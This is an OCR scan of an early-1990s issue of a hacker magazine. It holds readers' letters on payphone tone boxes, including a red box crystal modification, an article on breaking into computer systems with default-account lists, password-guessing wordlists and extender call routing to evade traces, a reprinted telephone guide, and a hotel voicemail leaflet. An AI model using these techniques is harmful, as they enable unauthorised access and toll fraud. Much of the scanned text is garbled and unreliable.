Thanks goes out to Dr. Abuse and the designer of 
the magnetic stripe card copier (printed in the Summer 
1 9 9 1  issue) .  Another thanks goes out to the Mad 
Scientist, whose article fmally encouraged me to mess 
around with my silver box. While experimenting with 
it and the Automated C all Distributor on some 
payphones in Boston, Massachusetts , I got some 
different results than the Mad Scientist did. They are 
as follows: 

I : Ring toll test boardlloud busy 
2: Tone side - loop (high) 
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3: Loud busy 
4: Dead/loud busy 
5: Loud busy 
6: Dead 
7: Dead 
8 :  Doesn 't  trigger anything (pulsing di altone 

continues) 
9 :  Doesn 't  trigger anything (pulsing dialtone 

continues) 
0: Tone hlast (1000 hz) 
. :  Doesn 't  trigger anything (pulsing di altone 

continues) 
II: Doesn 't  trigger anything (pulsing dialtone 

continues) 
I was wondering what the real purpose of the 

ACD was, because the features it can achieve don 't  
seem greatly important. I have Wo experimented with 
the other tones (A, B, and C), but have not acquired 
any infonnation. 

Secondly,  while travelling in Belgium and 
Amsterdam last summer, I came across a few 
electronics stores and a bookstore which had many 
interesting items. I picked up one dialer, which is 
about 2" by 2" square and a 1/4" thick, which has the 
0-9, ., II, and A,B,C,D tones, which is what I use for 
my silver box. It cost the equivalent of about $1 5-$20 
US currency. There were also some other types of 
dialers there too, all small and compact. In case anyone 
was interested in ordering one of these dialers (I 
recommend it, they are great), it is called the ''TD-
1 000 Digitale Toonkiezer" by Betacom. Try writing or 
calling these two places: 

I) Te1eworld Telecommunicatieshops 
Kinkerstraat 66-68-70 
1 05 3  DZ Amsterdam 
The Netherlands 
Phone: +31 -20-6834001 
2) SA Kevinco N.V. 
Rue du Marche aux HeJbes - 4 - Grasmarlrt 
Bruxelles 1000 Belgium 
+32-2-21 87 1 59 
Also, if you happen to go into Amsterdam, and 

want to pick up current and back issues of Hack-Tic 
(learn Dutch just to read this publication, it's great), go 
to either of the following bookstor�s : Athenaeum 
Nieuwscentrurn, Amsterdam; Athenaeum Bockhandel, 
Amst�rdam, Haadem. 

This next comment is in regards to the letter from 
Dr. Delam on page 25 of the Spring 1 992 issue. He 
commented about making a red box with a mercury 
switch for ''pig-proof' access to the 6.S5 36mhz and 
3.57mhz crystals. To go more in depth with that, I will 
explain some of a text file that Cybemetik wrote up a 
few months back on that topic. You will need two 
mercury switches, �ferably very small, so they will 
fit into the dialer casing. Connect one lead of one of 
the mercury sw itch es to one of the leads of the 
3.57mhz crystal, and the other existing leads to the two 
solder marks on the dialer PC board (where the 
original 3.57mbz crystal existed). Next, connect one 

lead of the other mercury switch to one lead of the 
6.SS 36mhz crystal, and connect the two unconnected 
leads to the two solder marks on the dialer PC board 
(there should now be four leads on the' two mades). 
Now, in order for the mercury switch .won to wode, 
you have to make sure that the mercury swjtches are 
facing opposite directions (vertically),  so when you 
tum the dialer backwards, one crystal should connect 
with the board, and when you tum it the other way, the 
other crystal should connect. Well, I hope that cleared 
things up a bit in the way of mercury switches. 

And lastly , s ome ANACs are :  B oston and 
surrounding area s :  200-xxx- 1 234, 200-222-2222; 
N.W. Indiana: 410-4 (x I 2). 

KlnllPln 
BrOOkline, MA 

With regards to the Automated Call Distributor, 
whenever you call  directory assistance,  you ' re 
actually dialing into a queueing system which is 
known as the A CD .  This system is simp ly what 
de termines who is free to pick up your call .  By 
pressing the D key while they pick up, you enter a /est 
mode on the ACD. It's not meant to be interesting or 
exciting to allyone oUlside of the phone company. 

Cellular Mystery 
Dear 2ffIXJ: 

I was wondering if you cou1d answer this question. 
Loca1 � p<q>le am oor RCMP hsve been adding 

an ''E-Prom dlip"to their cdhllarphones. 
Gmerally they are added to a Tedm¥mne (British bnmd 

of cdiIlar). They hsve been designed to aa:qJt the d1ip easily. 
Everyone has Il""" hus\Hmsh on this. Can you tell me 

what practical applica1ions can be done with it? 
MM 

Nova SeotIa 
It's probably for the purpose of changing the ESN 

(Electronic Serial Number) and the MIN (Mobile 
ldentijicalion Number). It could aIao be all ANI if some sort 
so the dispat::her knows who's taJlling. Then again, it could be 
for speech encryption. The best "I2J' to see if i( s the latter is to 
get lhefrequency (use afrequency counter) and listen in with 
a scanner. Good luck. 
Call For Data 
Dear 2ffIXJ: 

Do you have any plans for doing a list of CNA's7 
MichiBlm (313) went automaled a while bade. The number is 
424-0900. A tJuee.digit employee raunber is �. When I 
was in � am browsing 1hrough their ANAC's, I foood 
an interesting phc:nomenon. It mumed a bust of DTMF. I 
didn't have a deooder so I can't be ""'" What it lneam.  FlIIIi1y, 
the demon dialer as advertised in your Wmter 1 99 1  issue 
works great. C' ... t bon. Hell, c'est Ires bon. I highly 
recanrnend it Expect an article sooo on boxing out of foreign 
counlries. 

The Azure Mage 
Somewhere In the Military 

When we get the info, we'll print it. 
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Call For Info 
0- 2600: 

I was reading an article in your summer editicn and it 
talked about a magazine callcd Mobil.? Computing. Cculd you 
plCIISC tdl me how I can get in touch with them? 

JS 
Philadelphia 

We call ' l  track down a number or address for 
Ihem al Ihe momenl. BUI you should also look ill 
COmPUler Shopper if you want info on laplops. 

Call For Help 
Dear 2600: 

I run a B B S  for the di sabled called DEN 
(Disabilities Electronic Network). Until recently we 
had an 800 number accessing an eight line hunt group. 
It was a very lively national bulletin board. Our 800 
number is in limited service indefmitely as a result of 
our loss of funding. This has been the cause of a search 
for long distance services that our users would make 
use of to access DEN. I found PC Pursuit by Sprint. 
PC Pursuit is a non-prime time service that allows 90 
hours per month for disabled people and 30 hours per 
month for non-disabled people for 530. The service 
enables one to access many electronic services during 
non-prime time hours and weekends while not 
changing your present long distance provider. Are you, 
or anyone at 2600, aware of other such low cost 
services? I'm desperate to fmd low cost access for our 
users. We're a free service and it would be a shame if 
our phone companies' greed affected our ability to 
deliver a service to the disabled commlBlity. 

TB 
New Jersey 

The call has gone oul. 

A Choke Tip 
Dear 2600: 

In regards to the "choke line" d iscussion in 
relation to reaching radio stations (2600, Spring 1992), 
I have found that dialing a carrier access code prior to 
the phone number increases the chances of getting 
through to � radio station. This does result in a long 
distance charge but it may be worth the rislc, if one 
desires the prize greatly enough. 

Mail Problems 
Dear 2600: 

The Prophet 
Canada 

Due to the problems with non-delivered issues, I 
have decided not to renew my subscription to 2600. I 
think I've aversged at least one missing issue per year 
of my subscription. This is not pleasact .  especially 
with a quarterly publication. 

I doubt this is due to any incompetence on your 
part, but rather because of sticky-fingered postal 
employees. They see The Hacker Quarterly pass in 
front of them and think ''Hmmm, I think I'll read this 
during lunch . . .  " and who knows where the hell it 

winds up after that. 
Playboy remedied this some time ago by mailing 

the magazine in an opaque plasti c bag w ith a 
transp arent section for the address label on the 
magazine itself. Also, the return address has only the 
mailing address, no tell-tale "Playboy" logo screaming 
"Steal mel". 

I will continue to support your magazine through 
newsstand and back issue sales (please make them 
available on an individual issue basis). 

RD 
Austin, TX 

This definitely should IIOI I:1e happening. We have 
beell having more of a problem wilh damaged issues, 
missillg issues, and ellvelopes ripped opell lhall ever 
before. Overall, the post office has done an amazing 
job but we're very concerned with Ihis recent plummet 
in competence and/or honesty. We hope our readers 
complain loudly if allylhing happens to their mail. It 
would help a 10 1 if anybody sendillg .a Ie tIer of 
complaint sent us a copy so we can present it to the 
postal people on our end. Resl assured Ihis is a top 
priority maner for us. We'd ralher 1I0t add packagillg 
to the magazine, for bOlh cost and ecological reasons. 
We' re interested in hearing more fee4back on Ihis. 
Wilh regards 10 our back issues, individual i�ues are 
available from 1988 on at a cost of $6.25 each ($7.50 
overseas). 1984 through 1987 ·are only available by 
year ($25, $30 overseas). 

Comments From Abroad 
Dear 2600: 

Like many others,  I ' d  noticed your Postnet 
exampl� dido't correspond with your description, and 
I 'm even more delighted to see your C code for 
printing them (I only have to modify it to suit my 
computer). 

The "Gulf War Printer Virus" expresses pretty 
much my reaction - that is, it wouldn't work! Unlike 
your anonymous writer, I expressed this opinion on the 
Internet and received some interesting information in 
January. Although most newspapers and computer 
magazines credited the original article to the Wall 
Streel Journal, it appears the "real" original article was 
in InfoWorld in the April I, 1991 issue! We need not 
ascribe to the nefarious operations of the NSA what 
can be adequately blamed on the idiocy of certain 
reporters. . ' 

On the other hand, could a "printer virus" slow 
down a computer? I 'd  imagine it could, provided the 
computer was something relatively slow, like an mM 
XT or possibly AT. It all really depends on how they 
treat their pa rallel printer port .  If they generate 
interrupts upon receipt of a printer ackno wledge 
signal, then you merely need to rig the printer to blast 
the acknowledge line at, say, 30 lcilohertz. This would 
probably keep most epus fairly busy, and slow down 
the performance nicely. 

EL 
raulconbrldge, Australia 

(Continued on page 40) 
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h ack i n g  o n  t h e  fro nt l i n e 
by AI Capone 

As we have seen  fro m prev ious  
raids/busts, the consequences of being  
caught by the federal government, etc. are 
not worth it in the long run. If they cannot 
cripple you physically, then they will do it 
emotionally or financially. Therefore I do 
not recommend that any action taken to 
gain unautliorized access is justifiable in 
any way. However the choice is yours. 

People who desire to get  i n to a 
"secure" system should know a few things 
abo ut  i t .  F ir s t  off, for ·  me the word 
"secure" brings to mind a picture of a 
human monitoring a system for 24 hours . 
All the nodes are watched individually, 
and everything is hardcopied . This i s  
obviously, in  most ( i f  not all) cases, not 
feasible, as the man hours and/or the cash 
funding is  non-exi stent.  Besides ,  to a 
system operator, watching everything a 
system does could be quite boring .  The 
hacker can capitalize on this . 

The two things a hacker should know 
about when attempting to gain access to a 
system are: 

1. Typical formats for t he system. 
(i .e .  how you type in the login sequence. Is 
the login and password on one continuous 
line, do you have to type it in separately at 
different prompts, etc.) 

2.  Default and common passwords. 
Default accounts are the accounts *at 
come with the system when it is  installed 
("factory accounts") . Common accounts 
are accounts set up by the system operator 
for partiCUlar tasks. The probability exists 
that these accounts are present on the 
sys tem that the h acker i s  try ing  to 
penetrate, therefore they should be tried. 

Identifying the System 
If the owner  o f  the system is no t  

mentioned in  the  opening banner, you will 

either have to gain access to the system 
itself or use CNA (Customer Name and 
Address - the little thing that exists for 
identifying a telephone number) . Please 
remember that a brute force method on 
some systems is often recorded to the 
account indicating the number of attempts 
that you have tri ed, sometimes  even 
writing the password that you've tried. 
More often than not, it will just record the 
number of failed attempts . Aside from 
this, the system may "sound an alarm". 
This is not a bell or siren that goes off; it is 
just a message printed out and/or sent to 
any term in als de s ignated as security 
operator terminals (i .e .  VMS). Example: 

Welcome to Sphincter Systems Vu Cluster 
Username: CHEESE HEAD 
Password: 

Welcome to Sphincter Systems, Mr. Mouse 
Number of failed attempta since last entry: 227 

Obviously, in the above example, Mr. 
Mouse would get the idea that someone 
was attempting to g ain access  to h i s  
account and would promptly change the 
pass word, assuming  he w a s  p aying  
attention a t  login (Many people don ' t. 
Logging into my favorite B B S ,  I have  
often left the room while my auto-login 
macro w as acces sing the syste m .  The 
same principle applies here.) Also, in the 
above example, it was very st up id for 
Sphincter Systems to display the banner 
identifying the system. This would only 
encourage the hacker in an attempt to gain 
access (it always encouraged me), and at 
227 attempts, the hacker should have kept 
trying to gain access. Remember that once 
the account is accessed correctly, the 
security counter is reset to zero and Mr. 
Mouse will probably never know that 
someone else has his password (as long as 
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no malicious or destructive actions are 
carried out and as long as he doesn't keep 
a record of his login dates). 

When I was scanning a network, I 
often found that most  of the systems 
identified themselves. On the other hand, 
the systems I found in most telephone 
exchanges required that they be identified 
by other mean s .  The banner usually 
decided my interest in the system, whether 
I just wanted to try a few things and move 
on, or really concentrate on the effort. It 
also gave me a little extra ammunition 
since usernames and/or passwords may 
contain some information  which w as 
displayed in the banner. Anlother thing I 
noticed about networks that differed from 
local dial- in systems w as that dial-in 
systems would disconnect me after three 
to five attempts . Granted, the system on 
the network would disconnect me, but 
only from the host. The network itself 
would not, creating one less problem to 
deal with. System operators might suspect 
something if they saw an outdial number 
being accessed every thirty seconds or so. 

Login: 
Password: 
This is a Unix. 

Username: 
Password: 
This is a VMS. 

@ 
This is a Tops-20. 

Enter UsercodelPassword 
This is a Burroughs. 

MCR] 
This is an RSX- l 1 .  

ER! 
This is a Prime. 

! 

This is an IBM running a VM operating 
system. 

This list is by far not complete, as there 
are many more systems out there, but it 
will get you started. Some of the time, it 
will tell you the name in the opening .  
Crays ,  for example ,  u s u ally identify 
themselves .  

T h e  Telephone 
Make sure when you are dialing into 

the system that you realize that somewhere 
along the trail there is a possibility of a 

trace. With all of the switching systems in 
effect by Bell, etc . what you need to do is 
dial in u s ing an o utside so urce . For 
instance, what I usually did was call an 
800 extender (not in Feature Group D), 
and then call the target system. The only 
times I called the target system direct was 
when I was identifying the system (1 did 
not start hacking the system at this time), 
but even thi s is not recommended these 
day s .  Things  owned by B ell ,  such as 
COSMOS systems, sees networks, etc . ,  
are probably more ri sky than generic 
corporate systems.  Of course using only 
one extender should be the least of what 
you can do. If you call several extenders 
and then the target system, the chances are 
that tracing the call back to you will be 
next to impossible. But this method also is 
risky since the long distance telephone 
company may not be overly enthused 
about you defrauding them. At one time an 
acquaintance was harassing a company 
that was tracing him. They let him know 
of the trace and just for the hell of it he 
decided to s tay on the l ine to see the 
results. The result was Paris, France. Keep 
in mind he lives in the United States. This 
story displays an excel lent  use of  
extenders. The only detriment I see is that 
by routing your call through two or more 
ex te nders the integrity of the line 
decreases.  
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When using networks (Telenet ,  
Tymnet, etc.) in connecting to the system, 
your port is sent  as an ID in order to 
accept your connection attempt. It would 
reaUy be s imple then to i solate your 
number (providing you called the network 
directly fro m  your house)  if you  
repeatedly attempt to use the system. What 
you should do for this problem is loop 
through a gateway on the network. The 
gateway is essentially an outdial which 
will connect to a system. Use the gateway 
to call another network's dialup. 

Common Passwords 
The following is a l i s t  of common 

passwords for v ario u s  systems . On a 
respec table system,  these wil l  be 
constantly changed. But not al l  system 
managers are smart or security conscious. 
The firs t  system that I got  into was by 
using a common account (no password 
was needed in this case, j ust the Unix 
"uucp" as a username) .  S o metime s  
systems are put u p  and completely left 
alone. It seems the managers think that 
nobody will find the system. In my case, 
the system was kept current, and I had 
"uucp" privileges to the School Board 
computer. Remember, as long as you don' t  
do anything that damages or  destroys data, 
they probably will never know that you 
have been there. 

Prime 
Admin 
Games 
Test 
Tools 
System 
Rje 
Guest 
Netman 
Cmdnco 
Primos 
Demo 
Regist 

Common Accounts 
for the Primos System 

Prirun 
Telenet 

Common Accounts 
for the VM/CMS System 

Operator 
Cmsbatchl 
Autologl 
Operatns 
Vmtest 
Vmutil 
Maint 
Smart 
Vtam 
Erep 
Rscs 
Cms 
Sna 

Vax 
Vms 
Del 
Demo 
Test 
Help 
News 
Guest 
Decnet 
Systest 
Uetp 
Default 
User 
Field 
Service 
System 
Manager 
Operator 

root 
uucp 
nuucp 
daemon 
who 
guest 
io 
com 

Common Accounts 
for the VaxlVms 

Common Accounts 
for the Unix System 
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bin 
sys 
informix 
uucpmgr 
adm 
profile 
trouble 
intro 
rje 
beUo 
Ip 
setup 
powerdown 
uname 
makefsys 
mountfsys 
cbeckfsys 
umountfsys 

This should give you an idea on where 
to start. 

Combinations 
The combinations to get into a system 

are nearly infinite. If the password needed 
to get into the system is something like 
"FR M ;UN ! DA" then the chances are 
extremely remote that you will get in .  
Multiply the following: the number of tries 
where you use the u sername as the 
password by the variations of a word (i.e. 
for "CMSBATCH" passwords could be 
"Batch" or "BATCHCMS"). Now add on 
names and wild guesses. This should give 
you quite a list. All you can do is exhaust 
your l i s t  of username/p assword 
combinations and move on.  You have 
done your best as far as trial and error 
h acking is concerned.  Trashing for 
printouts is also an option. 

Druidic Death at one time surveyed a 
VM/CMS system's unencrypted password 

fi le and wrote the resul ts  down as  
categories. This i s  a list of  his findings: 

Total number of system users: 157 
Total number of accounts tbat can't 

be logged into: 37 
Total number of passwords that are 
a form of tbe account name: 10 

Total number of passwords that are 
tbe same as tbe account's name: 3 
Total number of passwords that are 

a related word to tbe account name: 10 
Total number of passwords tbat are 

first names, not the user's own: 17 
Total number of passwords tbat are 

tbe user's first name: 19 
Total number of passwords that are 
words related to tbe user's job: 7 
Total number of passwords tbat are 

tbe name of tbe company: 1 
Total number of random character 

passwords: 1 
Total number of passwords tbat are, 

in some format, calendar dates: 32 
Total number of passwords tbat 
were uncbanged defaults: 7 

This should give you an idea of how 
things are placed in a major corporate 
computer. 

Imagination 
This is what you need to gain access to 

an account. Being a number cruncher just 
won ' t  do i t  anymore . In  the following 
segment, I will list out ideas with about 20 
or 30 examples in each. This article will 
get you going . You just have to finish the 
job. 

Common First and Last Names 
These can readily be obtainable out of 

the telephone book, the greatest source of 
all first and last names. Examples: 
Gus 
Dave 
Cbris 
Micbele 
Jessica 
Artbur 
Robert 
Patrick 
Arnold 
Benjamin 
Derek 
Eddie 
Sbannon 
Ricbard 
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Ross 
Keith 
William 
Dubba 
Mickey 
Clyde 

Colors 
Figure it out for yourself, everything is 

possible. Examples:  
Blue 
Black 
Orange 
Red 
Yellow 
Purple 
Magenta 
Green 

The Dictionary 
The single most important document. 

Everyone should have one, and if you do 
not have one get one. Many passwords are 
at your disposal. And, by all means when 
on a Unix, download /usr/dict/words, the 
online dictionary. I also believe that you 
should not limit your words to just the 
English versions. There is no reason why 
passwords cannot be in Spanish, French, 
etc. 

Pontiac 
Ford 
Chevy 
Buick 
Toyota 
Honda 
Ferrari 
Porsche 

Types of Cars 

Mo torcycles  and all v enue o f  
transportation can b e  included i n  this 
segment. 

Zeppelin 
Pinknoyd 
Hendrix 
REM 
Cream 
Ozzy 

Rock Bands 

Gunsroses 
Mozart 
Publicenemy 

Etc. 
This section can include magazines,  

s o ftware, profanities (when I w as 
validation sysop on Digital Logic 's Data 
Service I don' t  know how many people 
used the word FUCK when asking for 
validation). You should have accumulated 
quite a list by now. 

Conclusion 
This is it. I hope you have learned that 

nothing s ho uld be put past the system 
manager. He is the only person between 
you and a s y s tem that could be an 
excellent source of information. Enjoy! 

References 
Look at the following articles for in­

depth information for specific operating 
systems:  

"Unix From the Ground Up" by The 
Prophet. Unbelievably helpful in learning 
Unix. 

Lex Luthor' s "Hacking Y AX/YMS". 
2600 Magazine, February 1986. 

"A Guide to the Primos Operating 
S y s te m "  by C arrier C u lpr it .  LODIH 
Technical Journal #2. 

" Hacking IB M's  YM/CMS Operating 
System" by Lex Luthor. 2600 Magazine, 
November and December 1987. 

2600 has been the subject of more 

emergency corporate meetings 

than any other international threat ! 

Now you can join the conspiracy by 

coming to a 2600 meeting. They're 

held on the first Friday of the month 
in eight U .S .  cities ! (We're growing 

almost as fast as the 12/16 virus. )  

Check page 41  for more detai ls o r  

call us  at (516) 751-2600 . 
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YET ANOTHER INTERNAL PHONE COMPANY DOCUMENT! THIS 
ONE WE'RE REPRINTING IN ITS ENTIRETY ON THE NEXT TWO 

PAGES, AS A PUBLIC SERVICE. 
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You will find the dial telephone easy to 
operate and the service it provides fast 
and dependable. The information in the 
following pages will be helpful to you in 
obtaining the utmost sat isfaction and 
convenience in the use of dial service. 

New Yori:: Tell1phone Company 
••• 

Listening for Dial Tone 
On all calls, remove the receiver from 

the hook and listen for dial tone before 
s tartin g to dial. Dial tone is a steady 
humming sound in the receiver indicating 
that the line is ready for you to dial. 

CaDs to Central Offices 
Which You Should Dial Direct 

(Central offices which you should dial 
direct from your telephone are shown on 
the card furnished to you.) 

When you hear dial tone, keep the 
receiver off the hook and dial the f1l'st two 
letters of the central office name, the 
office numeral, then each figure of the line 
number. 

For example, if dialing WOrth 2-9970 -
( 1 )  Place your fmger in the opening in 

the dial over the letter w. 
(2) Pull the dial around until you strike 

the finger stop. 
( 3 )  Remove your finger fro m  the 

opening, and without touching the dial 
allow it to return to its normal position. 

(4) Proceed in the same way to dial the 
letter 0 and the figures 2-9-9-7 and O. 

If the number called has a party line 
letter, dial the number in the same way, 
followed by the letter at the end of the 
number. 

Within a few seconds after yOIJ have 
completed dialing, you should hear either 
the ringing signal, an intermittent burr-rr­
ing sound, or the busy signal, a rapid buzz­
buzz-buzz. 

If you hear an interrupted buzzing 
sound, as buzz-buzz - buzz-buzz,  i t  
indicates that you have dialed the central 
office designation incorrectly. Hang up the 

receiver, wait a few seconds, and make 
another attempt, being careful to dial the 
central office designation correctly.  

If  you do not  hear any signal within 
half a minute, hang up the receiver, wait a 
few seconds and make another attempt. 

Whe n, for any reason,  y o u  do not  
obtain a connection (for e x ample, the 
called line is busy or does not answer), 
you will get quicker service if you hang up 
the receiver and try the call again yourself 
at intervals instead of immediately calling 
the operator for assistance. No charge is 
made unless you obtain an answer from a 
subscriber' s  telephone. 

If you make a mistake while dialing, 
hang up the receiver at once, wait a few 
seconds, and make another attempt. 

Before starting to dial a second call, 
always hang up your receiver for a few 
seconds. 
Obtaining Assistance from the Operator 

If you have trouble in dialing, or if you 
have occasion to report cases of service 
irregularities, you can reach the operator 
by placing your finger in the opening in 
the dial over the word "OPERATOR" and 
then pulling the dial around until you 
strike the finger stop. 

After connection h a s  once been 
established with the operator, you may 
recall her by moving your receiver hook 
up and down slowly . This can be done 
only when you are connected with the 
operator ;  on other c al l s ,  mov i n g  the 
receiver hook will break the connection. 
Calls from a Party Line or from a Line 

with an Extension Telephone 
Always make sure that the line is not in 

use.  If you do not hear the dial tone, 
inquiie if the line is being held by some 
other person. If no response is received, 
hang up the receiver for a few seconds and 
make another attempt. 

Listen on the line while dialing, and if 
you hear another party come in on the line 
or hear successive clicks in the receiver, it 
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indicates that someone else on your line is 
trying to call. Inform him that the line is in 
use  and request  him to hang up his  
receiver. When he  does so, hang up your 
own receiver for a few seconds, and then 
remove it and dial the complete number 
again. 

To call another party on your line, dial 
the operator, give her the number you wish 
to call ,  s tate that it  is the number of  
another party on your line, and give her 
your number. 

To call an extension telephone on your 
l ine,  dial the operator, give her your 
number and ask her to ring the extension 
telephone. 

Calls by Number to Central Offices 
Which You Can Not Dial Direct 

To place calls by number 110 cenlIal offices 
within New York City which you can not dial 
direct, or to central offices at nearby points, dial 
the operator and give her the number of the 
telephone with which yoU! desire to be 
connected, and also the number of the telephone 
from which you are calling. For example -

"Bayside 9-5570 -Walker' 5·WJ(Y' 
If the cmlIal office you are calling is not at a 

nearoy point, give the operator the name of the 
city, the name of the state, ilf desirable, the 
number of the telephone with which you desire 
to be connected, and also the . number of the 
telephone from which you Me calling. For 
example -

"Philadelphia, Market 1234 - Walker 
5-9970" 

or 
"Portland, Maine,  Preble 1 234 -

Walker 5-9970" 
Out-of-Town CallIs to 

Particular PerSOlDS 
To make out-of-town caUls to particular 

persons, dial the figures 2-1- · 1  and give the 
operator who answers the name of the 
person with whom you wisln to speak, the 
name of the city, the name OJf the state, the 
number of the telephone with which you 
des ire to be connected, land also the 

number of the telephone from which you 
are calling. For example -

"Mr.  Paul Smith at B os ton , 
Massachusetts, Main 3340 - Walker 5-
9970" 

Information Calls 
Telephone numbers of subscribers not 

listed in your directory, and telephone 
numbers of subscribers at out-of-town 
points m ay be obtained by c all ing 
Information. 

To call Information, dial the figures 4-
1 - 1 .  

Telegrams 
To send a telegram , l o ok up th e 

telephone number of the desired telegraph 
company in the directory, and dial this 
number as you would any other. 

Calls to the Telephone Company 
Repair Service ... .Diai the figures 6-1-1  
Business Office . . .  Dial the figures 8-1 - 1  
Time o f  Day . . . . . . .  Diai MEridian 7-12 12  

Emergency Calls 
(Police, Fire, Ambulance) 

Dial  the operator, g i v e  her your 
number and say -

"I want a policeman." 
"I want to report a fire." 
"I want an ambulance." 
If compelled to leave the telephone 

before the desired station answers, tell the 
operator where help is required. 

You may also reach the Police and the 
Fire Departments directly by dialing the 
numbers listed in the directory. 

Dial Coin Telephones 
The operation of dial coin telephones is 

quite s imilar to th at of your own dial 
telephone. The only differences are that it 
is necessary to deposit a coin in order to 
obtain dial tone (indicating that the line is 
ready for you to dial) and that telegrams 
are sent by dialing the operator and telling 
her the telegraph company desir.ed. If the 
called line is busy or does not answer, the 
coin will be returned after the receiver is 
hung up. 
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Meridia1l 

lV1 11il 

\-\7 E' ,"l i t ' p l e ;} s e d t o  
i n t rodu Cl' :\ I " l idian "" ail, a 
t '-.: lq'hc1nc ,H I ' \ \ ' l..' r ing system 
de" i�;nfd t "  � ' rnvide  guests 
", i t h  t h e  bcst  poss i b l e 
nH":(;�lge sn , i ce .  

Whe n yo" il re  u nab le to 
a ns\\o'er  c" l I s  to your room, 
� fl..'ridjmt ft. fllil a nswers them 
for you . Callers a re  
i n fonned th;'l t  you a re  no t 
" a i l.bl. .  Mes.<' ges can be 
Idt for yo u r  il u toma tica l l y, i n  
deto i l .  i n  a ny lo nguage, a n d  
w i t h  com plete  confidenti J l i ty. 

You r mess.:lges a re stored in 
y o u r  p e r s o n a l ' Vo ice 
lII.,ilbor " to be retrieved 
d i rectly by you.  Unless you 
choose to de le te them, 
mes5.'ges rema in  in you r  
v o i c e  m J iI1:'o x  u n ti l  you check 
out. 

7'0 Ilcar Your 
!.[cssages 

• From you r  room 

The l ight  on you r  
telephone w i l l nosh 
\vtwn you h<lve a new 
m ess.Jge. To retrieve 
you r  m eS5.1 ges : 

l i ft the handset a n d  
p res s MESSA G E  
KF. Y  

Reviewing the mes.<;Jges 
i n  yo u r  m" i lbox: 

t o  move to the 
p reviol ls mcss.Jge, 
[!g�-�! 

to mo\'e to t he nex t 
mcss.Jgc, Press 6 

lis te n i n;.� to you r  mes5Jgt:>s: 

tu p i .1y, Prt"ss 2 
lu con t i n u e  p laybilck 
trE��5.1, ilg1 i n  
t t '  5 k i p  fon\'Jrd,  P ress 3 .  
T h i s  o l lm\'s you t o  ski p 
q l l ickly through a long 
llH''S5Jge 
to skip b<lckwards. Press 
1. Th i5 a l lows you to 

-�"'v iow a port ion of the 
mess.Jg:e. 

i ' : To eet lTelp 
I f "  YOll hJve trouble 

; : Y"�i le  accessi ng you r 
J. ' !"Ji lbox, Merid iJn Mo i l  
::!/:r�.u tomn ti.cally p rom pts 
\ " you with the hel p fu l :I:;�;:tr.uctions; �_ ' . 
:YI(.Yoii need more help: '.�:;!l:;::i:'· * ,i'·';: ..• .  press a nytime 

, 
,\'h i le  YOll  ore using ':) i Merid ian 1'. l a i l  

,.i ·. lf you wou ld ra ther 
, .  speok to an a t tendJnt :  

. �  froon ins i de the hotel, 
, .  

dial 0 
.' from outs ide the hotel . 

d i a l  4R4-1 000 

• From o u t s ide yo u r  
roOnl.: 

You c�m retrit!ve m eS5Jges 
while  J \ \'Jy from you r  
room :  

f ro m  i ns ide  t h e  hote l .  
D i . 1  4�3� f r o m  o u t s i d e  

t h e  holel. d i , 1  646-H3� 
Or 4�4-1 000 

l' l 1 h .T you r room n u m ber 
and r ress # 
e ( l t e r  you r pJS5w()rd 

a n d  p ress # 

• U<;; i rt[! a rotary pho1lC!: 
\"" I. e n  l iS ;  ng a rot.:uy 
phone, you ca n only listen 
to you r  mess..,ses. You 
need <l tOllch-tone phone to 
use a ny specia l com m a nd s. 

from inside the hotel, 
Di a l  0 
from outside the ho t el, 
Dial  202-484-1 000 
give the at tend;:mt your 
na me, room n u mber 
a n d password 

• ·Other Mail " 
If you have other messJges 
at the Front d esk. Meri d ian 
Mail  infonns you tha t you 
have "other ma i l," 

To re trieve you r  other m J U ,  

Your PassUJord 
you d,rck in. your 

p,u,,�on.f i. In i l i a l lv  St't 
to the rirst -4 d igi t; of 
you r ' lut n .. me: For e.x.mpl�: 

�!'t N .. m .  
� 

P.." worci 
� 

Jonn lone 

Contict the front desk ir 
you need more In  romution 

; · : on p�,.word,. 

Computer hackers at the CFP conference in Washington DC this spring found it 
astoundingly easy to get into guests' mailbox. All you need is a name and a room 
number! We wonder how many other hotels are so trusting. 
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i/o (continued from page 30) 
Dear 2600: 

We just heard about your mag and think it 's  a 
wonderful idea - finally a means by which we chip­
heads can get in touch w ithout spending loads of 
money on phone bills. See, we got much electronic shit 
to denounce even here in the ole continent, without 
mentioning the fucking growing corporate trash and 
the expanding neo-nazi movement. 

But we ain't much organized over here; that's why 
we need you guys to give us a starting point. We'U go 
on from there. We ain't many either - but we dunno 
how many a.., on the biz, because it's quite difficult to 
fmd 'em all - but a steadily growing number anyway. 
We wish you a most "productive" worit. 

RRS Update 
Dear 2600: 

DF 

MIIu, Italy 

I am the sysop of the Tin Shack BBS at (8 1 8) 992-
332 1 .  I have an ad in the Spring 1 992 edition offering 
free elite access to all 2600 readers. I would like to 
thank you for publishing this ad and I'd like to thank 
the many hackers who are calling our BBS. I have 
enjoyed the CHATs and messages from your readers. 
We are starting an exclusive hackers conference and 
including a hackers filebase in this conference for 
sharing of code and text on the fme art of hacking that 
has continued to enhance the science of computing. 
We h a v e  also attracted the attention of a law 
enforcement agency from New Yorit. This was easily 
detected as they were shying away from caller 
verification and then stupidly sending me a check for 
Elite Access paid out by their operating account rif 
their home office. What a deal! Since we know our 
rights and hold no illegal wares I publicly thank them 
for helping us to buy new hardwa..,! Hahahal The 
message base in our new hackers conference will be 
current and quite interesting. If you a.., a real hacker, 
give us a call. No wannabes, phonies, or pheds allowed 
on the Tm Shack BBS. 

Guy NohrenberK 
Sysop 

Tin Shaek DDS 
(818) '92-3321 

If you' re promoting free speech and aren't doing 

anything illegal, there's no reason to disallow anyone. 

Voice Mail Question 
Dear 2600: 

How come your voice BBS is only open after 1 1  
pm? Also, why do you give out an expensive 0-700 
number instead of a real phone number? 

Puzzled 
First off, the 0-700 number costs 15 cents a 

minute. A regular phone number would cost 13 cellts a 

minute. While slightly more, this is 1I0t comparable to 
a 900 number or anything of that nature. We give out 

that number because right now the system doesn' t  
have a set phone number; it sometimes shows up on 

different lines. It's only available at night because it's 
currently a single-line system and opening the BBS 
during the day would tie up the voice mail functions. 

Right now we're working on expanding the system so 

that it shows up on our main number (516·751 -2600) 
and so that the BBS par' is available around the clock 

with multiple lines. To do tilis, we need to Jind some 

flexible multi·line voice mail software along with some 

cheap computers. If anyolle has any suggestions, 

please send them our way. For now, the voice BBS can 

be reOfhed through AT&T at 0-700-751 ·2600. Most of 

our writers can be reached through the voice mail 
section of that number, which is available 24 hours a 

day. During business hours, the rate of the 0-700 
